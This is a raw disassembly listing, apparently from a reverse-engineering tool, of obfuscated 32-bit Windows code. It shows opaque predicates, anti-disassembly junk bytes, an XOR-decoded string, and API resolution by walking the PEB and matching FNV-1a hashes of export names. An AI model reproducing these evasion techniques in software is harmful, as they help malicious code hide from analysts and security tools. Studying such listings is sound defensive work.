sub cl, dl
add cl, byte [ebp - 0x148]
mov byte [ebp + eax - 0xbb], cl
call fcn.0041b790
movsx ecx, byte [0x8b05fd]
movsx eax, al
imul ecx, eax
lea esi, [ecx + ecx*4]
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x426e76
xor eax, eax
je 0x426b89
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3748]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x426c43
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x426c43
mov dword [ebp - 0x150], 1
jmp 0x426ce6
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x426ce6
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x150], eax
xor eax, eax
je 0x426ceb
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3748]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x426da5
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x426da5
mov dword [ebp - 0x14c], 1
jmp 0x426e48
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x426e48
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 8]
mov dl, byte [ebp + eax - 0xbb]
mov eax, dword [ebp - 8]
and dl, byte [ebp - 0x14c]
add dl, dl
mov cl, byte [ebp + eax - 0xbb]
mov eax, dword [ebp - 8]
sub cl, dl
add cl, byte [ebp - 0x150]
mov byte [ebp + eax - 0xbb], cl
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*4]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4271c7
mov eax, dword [ebp - 8]
sub eax, 0xa
mov dword [ebp - 0xc], eax
xor eax, eax
je 0x426ec7
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xc]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x426f86
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x426f86
mov dword [ebp - 0x158], 1
jmp 0x427029
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x427029
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x158], eax
mov eax, dword [ebp - 8]
sub eax, 0xa
mov dword [ebp - 0xc], eax
xor eax, eax
je 0x427037
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xc]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4270f6
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x4270f6
mov dword [ebp - 0x154], 1
jmp 0x427199
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x427199
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 8]
mov dl, byte [ebp + eax - 0xbb]
mov eax, dword [ebp - 8]
and dl, byte [ebp - 0x154]
add dl, dl
mov cl, byte [ebp + eax - 0xbb]
mov eax, dword [ebp - 8]
sub cl, dl
add cl, byte [ebp - 0x158]
mov byte [ebp + eax - 0xbb], cl
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x4274ee
xor eax, eax
je 0x427201
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3740]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4272bb
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x4272bb
mov dword [ebp - 0x160], 1
jmp 0x42735e
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42735e
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x160], eax
xor eax, eax
je 0x427363
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3740]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42741d
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x42741d
mov dword [ebp - 0x15c], 1
jmp 0x4274c0
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4274c0
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x15c], eax
mov eax, dword [ebp - 8]
mov dl, byte [ebp + eax - 0xbb]
mov eax, dword [ebp - 8]
and dl, byte [ebp - 0x15c]
add dl, dl
mov cl, byte [ebp + eax - 0xbb]
mov eax, dword [ebp - 8]
sub cl, dl
add cl, byte [ebp - 0x160]
mov byte [ebp + eax - 0xbb], cl
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xe
jb 0x4264b1
lea eax, [ebp - 0xbb]
mov byte [ebp - 0xbc], 1
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
add esp, 8
test eax, eax
jne 0x42760e
mov eax, dword [ebp - 0x18]
mov byte [ebp - 1], 0
mov dword [eax], 0x41bb30
xor eax, eax
movups xmm0, xmmword [str.NMNNMNMNMNMNNMM_aD_Rtbut_fcjni_thrudb_ubwht_Jhuwobjb45_dhjjhi_o_a]
movups xmmword [ebp - 0x440], xmm0
nop
xor byte [ebp + eax - 0x440], 7
inc eax
cmp eax, 0x10
jl 0x427540
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x18]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], edi
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov dword [ebp - 0x28], ecx
cmp ecx, edi
je 0x4275db
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x4275db
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, edi
mov esi, dword [ecx - 4]
sub ecx, 4
add esi, edi
mov dword [ebp - 0xc], ecx
dec edx
mov edi, 0x54b33879
mov dword [ebp - 0x18], edx
mov cl, byte [esi]
inc esi
mov byte [ebp - 1], cl
test cl, cl
je 0x4275d1
mov al, cl
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x4275a2
mov eax, dword [ebp - 0x14]
cmp edi, 0xe9ad1039
je 0x4275e2
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov edi, dword [eax + 0x18]
test edx, edx
jne 0x427582
mov eax, dword [eax]
jmp 0x42755a
mov esi, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x20]
mov eax, dword [esi + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [ebp - 0x440]
add eax, edx
push ecx
call eax
jmp 0x430ec8
call fcn.0041b790
movsx ecx, byte [0x8b05fd]
movsx eax, al
imul ecx, eax
lea esi, [ecx + ecx*2]
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x4278b6
xor eax, eax
je 0x42764b
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
addsd xmm1, xmm1
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4276f2
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
jne 0x427754
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x427754
mov al, byte [0x8af51d]
call fcn.0041b7b0
call fcn.0041b780
call fcn.0041b770
mov al, byte [str._b_t7::_a]
mov al, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx edi, al
imul edi, esi
shl edi, 3
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x430ec8
xor eax, eax
je 0x42779c
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a36a0]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42784b
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
jne 0x430ec8
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x430ec8
mov al, byte [0x8af51d]
call fcn.0041b7b0
call fcn.0041b780
call fcn.0041b770
mov al, byte [str._b_t7::_a]
mov al, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
jmp 0x430ec8
cmp dword [0x8b00e4], 0
je 0x428a1e
movq xmm0, qword [0x7a344c]
mov eax, dword [0x7a3454]
mov byte [ebp - 1], 0
movq qword [ebp - 0x70], xmm0
mov dword [ebp - 0x68], eax
mov dword [ebp - 8], 0
cmp dword [ebp - 8], 0xb
jae 0x428911
nop dword [eax]
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
shl esi, 2
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x427c11
xor eax, eax
je 0x42792d
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3740]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4279e7
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x4279e7
mov dword [ebp - 0x168], 1
jmp 0x427a8a
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x427a8a
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x168], eax
xor eax, eax
je 0x427a8f
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3740]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x427b49
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x427b49
mov dword [ebp - 0x164], 1
jmp 0x427bec
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x427bec
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 8]
mov dl, byte [ebp + eax - 0x6f]
mov eax, dword [ebp - 8]
and dl, byte [ebp - 0x164]
add dl, dl
mov cl, byte [ebp + eax - 0x6f]
mov eax, dword [ebp - 8]
sub cl, dl
add cl, byte [ebp - 0x168]
mov byte [ebp + eax - 0x6f], cl
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
add esi, esi
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4285e2
call fcn.0041b790
movsx ecx, byte [0x8b05fd]
movsx eax, al
imul ecx, eax
lea esi, [ecx + ecx*8]
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x427f77
xor eax, eax
je 0x427c93
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3738]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x427d4d
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x427d4d
mov dword [ebp - 0x170], 1
jmp 0x427df0
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x427df0
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
